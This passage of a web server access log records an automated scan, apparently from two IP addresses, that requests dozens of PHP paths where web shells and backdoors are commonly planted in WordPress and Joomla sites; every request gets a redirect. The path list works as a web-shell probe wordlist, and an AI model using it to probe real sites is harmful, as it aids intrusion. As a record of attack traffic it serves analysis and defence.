(KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /liefs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.85 - - [23/Apr/2025:03:21:06 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /images/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /uc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:21:06 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:06 -0400] "GET /fai.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:21:07 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /locks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:07 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /wp-dsdd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /indeks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:07 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /wordpress/logsxxyyzz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /wp-content/plugins/seoo/xynz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:07 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /wp-content/tmpls.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /css/bun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:08 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /wp-includes/sitemaps/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:08 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /js/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:08 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:08 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /templates/beez3/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:09 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /wp-admin/js/widgets/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:09 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /stindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /wp-content/plugins/eventon-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:21:09 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /shop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:09 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:10 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:10 -0400] "GET /wp-content/plugins/royal-ckeditor/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:10 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:10 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:10 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:10 -0400] "GET /exit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:10 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:10 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:10 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:10 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:11 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:11 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:11 -0400] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:11 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:11 -0400] "GET /sys.phhttp:/marykelledy.com/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:11 -0400] "GET /back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:11 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:11 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:12 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:12 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:12 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:12 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:12 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:12 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:12 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:13 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /.well-known/acme-challenge/shimo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:13 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:13 -0400] "GET /wp-includes/PHPailer/about.php HTTP/1.1" 301 795 